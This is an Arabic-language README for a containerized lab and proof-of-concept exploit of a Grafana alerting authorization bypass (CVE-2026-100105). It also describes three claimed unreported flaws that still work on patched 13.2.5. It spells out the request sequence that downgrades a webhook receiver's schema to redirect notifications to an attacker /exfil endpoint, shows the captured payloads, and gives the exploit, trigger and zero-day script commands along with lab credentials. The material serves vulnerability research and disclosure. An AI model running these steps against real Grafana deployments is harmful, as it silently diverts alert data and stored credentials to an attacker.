
تجاوز التفويض في نقطة اتصال تنبيهات Grafana عبر تخفيض المخطط (CVSS 7.7) — مختبر داخل حاويات، إثبات مفهوم كامل، بالإضافة إلى نتيجتين غير مُبلَّغ عنهما قابلتين لإعادة الإنتاج على 13.2.5
مختبر إعادة إنتاج كامل ومُحاوَى + إثبات مفهوم (PoC) لـ CVE-2026-100105
(GHSA-92gx-p2qg-82fw، CVSS 3.1 7.7 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N، CWE-863)،
إضافةً إلى أربع نقاط ضعف إضافية (غير مُبلَّغ عنها) في التفويض تم اكتشافها أثناء
البحث — انظر نتائج Zeroday.
| المتأثر | Grafana OSS & Enterprise 12.4.0–12.4.13، 13.0.0–13.0.11، 13.1.0–13.1.8، 13.2.0–13.2.4 |
| المُصلَح | 12.4.14، 13.0.12، 13.1.9، 13.2.5 |
| الاستشارة | https://grafana.com/security/security-advisories/cve-2026-100105 |
| المهاجم | أي مستخدم يملك صلاحية تعديل نقاط الاتصال/المستقبِلات لكنه يفتقر إلى alert.notifications.receivers.protected:write — مثل دور Editor المدمج |
تُعلِّم Grafana 12.4+ إعدادات نقاط الاتصال الحساسة (الحقول المحمية، إجراء RBAC
alert.notifications.receivers.protected:write) — وأهمها
عنوان URL الوجهة للمُنبِّهات مثل webhook. يمكن للمستخدم الذي يملك صلاحية تعديل
المستقبِل العادية تغيير الإعدادات العادية، لكن يجب ألا يتمكن أبدًا من إعادة توجيه وجهة
الإشعارات، لأن الإشعارات تحمل أسرارًا (رموزًا، وبيانات اعتماد،
وحُمولات التنبيهات).
التكاملات مُصدَّرة بإصدارات (pkg: github.com/grafana/alerting/receivers/schema).
مخطط webhook الحالي هو v1 (url → Protected: true). كما يوجد
مخطط قديم v0mimir1 (بنمط Alertmanager/Mimir، CanCreate: false)،
يكون فيه url حقلًا آمنًا لكنه غير محمي.
يُحسَب فرق الحقول المحمية مقابل إصدار مخطط التكامل القادم:
// pkg/services/ngalert/models/receivers_diff.go (13.2.4)
func HasIntegrationsDifferentProtectedFields(existing, incoming *Integration) []schema.IntegrationFieldPath {
diff := existing.Diff(*incoming)
for _, path := range diff.GetSettingsPaths() {
if incoming.Config.IsProtectedField(path) { // ← attacker-controlled schema!
...
يمكن للمحرر بالتالي PUT مستقبِلًا تم تحويل تكامل webhook الخاص به
إلى version: "v0mimir1" باستخدام settings.url جديد. بموجب المخطط القديم،
لا يكون URL محميًا → يبلّغ الفرق عن عدم وجود تغيير في الحقول المحمية → لا يتم
فرض فحص التفويض أبدًا → يتم استبدال الوجهة المخزّنة.
التأثير: إعادة توجيه صامتة لإشعارات التنبيه إلى خادم يتحكم فيه المهاجم (تسريب حمولة التنبيهات؛ والاستخدام الكلاسيكي هو توجيه أداة إشعار إلى مجموعة تجمع الحمولات وأي بيانات اعتماد تُرفقها أداة الإشعار)، ويستمر ذلك حتى يلاحظه مسؤول.
الإصلاح الرسمي (13.2.5، pkg/registry/apps/alerting/notifications/receiver/legacy_storage.go)
يضيف rejectNonCreatableVersions / rejectNonCreatableVersionChanges، ويرفض
عمليات الإنشاء/التحويل إلى أي إصدار مخطط يحتوي على CanCreate=false.
كل ذلك بصفتك المستخدم poc-editor (دور المحرر — بدون receivers.protected:write):
1. GET /apis/notifications.alerting.grafana.app/v1beta1/namespaces/default/receivers
→ find receiver; resource name = base64url("poc-webhook") = cG9jLXdlYmhvb2s
2. PUT (same URL) settings.url = http://collector:9001/exfil, version stays "v1"
→ 403 "user is not authorized to update protected fields of any receiver"
(baseline: the guard works on the normal path)
3. PUT (same URL) version = "v0mimir1", settings = { url: http://collector:9001/exfil }
→ 200 OK ← BYPASS: protected destination URL replaced
4. POST .../receivers/{name}/test (receiver test subresource, Editors allowed)
→ 200 success; Grafana dispatches the notification to the ATTACKER URL
تم التقاطه عند نقطة نهاية المهاجم (المنفذ 9001):
{"receiver":"webhook","status":"firing","alerts":[...],"externalURL":"http://localhost:3000/", ...}
النسخة المُرقّعة 13.2.5 ترفض الخطوة 3 بالضبط بما يلي:
HTTP 400 integration of type "webhook" cannot be created or changed to schema version "v0mimir1"
┌────────────────────────────────────────────────────────────────────┐
│ podman compose network │
│ │
│ grafana-vuln grafana/grafana:13.2.4 :3000 (affected) │
│ grafana-fixed grafana/grafana:13.2.5 :3001 (patched) │
│ grafana-upgrade 13.2.4 → 13.2.5 in-place :3002 (upgrade sim) │
│ collector capture-all HTTP :9000 victim endpoint │
│ :9001 attacker endpoint│
└────────────────────────────────────────────────────────────────────┘
كل حاوية محدودة بموارد المعالج/الذاكرة (cpus، mem_limit). يسجّل المجمِّع
طريقة/مسار/ترويسات/جسم كل طلب ويعرضها على
GET /_captures?path=/exfil للتحقق الآلي.
cd lab
./run-demo.sh # boots everything, runs PoC + zeroday findings
./run-demo.sh down # tear down (removes volumes)
run-demo.sh ينفّذ:
poc-editor/Ed1torPass!، webhook الضحية مع
basic-auth svc-monitoring/Sup3rS3cret-VictimCred! → collector:9000)؛v0mimir1) يبدو شرعيًا مع basic-auth
مخزّن svc-monitoring/LegacyS3cret-DoNotShare (admin)؛poc.py demo — سلسلة CVE الكاملة على 13.2.4 + ضابط سلبي على 13.2.5؛zeroday.py demo-a — النتيجة A على 13.2.5 المُرقّع؛grafana-upgrade تنتقل من 13.2.4 → 13.2.5،
ويحتفظ volume بالمستقبِل المخفَّض)؛zeroday.py demo-b — النتيجة B: تسريب بيانات الاعتماد المخزّنة على النسخة
المُرقّعة المُرقّعة؛zeroday.py demo-c — النتيجة C: اختطاف مستمر للمستقبِل القديم
على النسخة المُرقّعة المُرقّعة (يُستعاد بعد ذلك)../poc.py check --url http://127.0.0.1:3000 # fingerprint + permission profile
./poc.py exploit --url http://127.0.0.1:3000 # baseline 403 → downgrade 200
./poc.py trigger --url http://127.0.0.1:3000 # dispatch through hijacked receiver
./poc.py verify --collector http://127.0.0.1:9001 # prove capture at attacker endpoint
./poc.py clean --url http://127.0.0.1:3000 --admin-pass 'adm1nVuln!' # restore snapshot
./zeroday.py demo-a --url http://127.0.0.1:3001 # Finding A (patched)
./zeroday.py demo-b --url http://127.0.0.1:3002 # Finding B (upgraded patched)
./zeroday.py demo-c --url http://127.0.0.1:3002 \ # Finding C (upgraded patched)
--admin-pass 'adm1nUpgr!'
يوجد نص مفرّغ مُتحقَّق منه في evidence/demo-transcript.txt.
matrix الاختياري)لإعادة إنتاج ثغرة CVE (أو دحضها) على كل خط إصدار متأثر، يوفّر المختبر أهدافًا إضافية خلف ملف تعريف compose:
cd lab
podman compose --profile matrix up -d # + 13.1.8, 13.0.11, 13.0.12,
# 12.4.13, 12.4.14 (bounded)
for p in 3003:adm1n1318! 3006:adm1n13011! 3007:adm1n13012! 3004:adm1n12413! 3005:adm1n12414!; do
python3 bootstrap.py --base-url "http://127.0.0.1:${p%%:*}" --admin-pass "${p#*:}"
done
python3 version-matrix.py # runs every check below
النتائج التجريبية (تم التحقق منها في 2026-10-31، جميعها داخل حاويات — النص الكامل في
evidence/version-matrix-transcript.txt):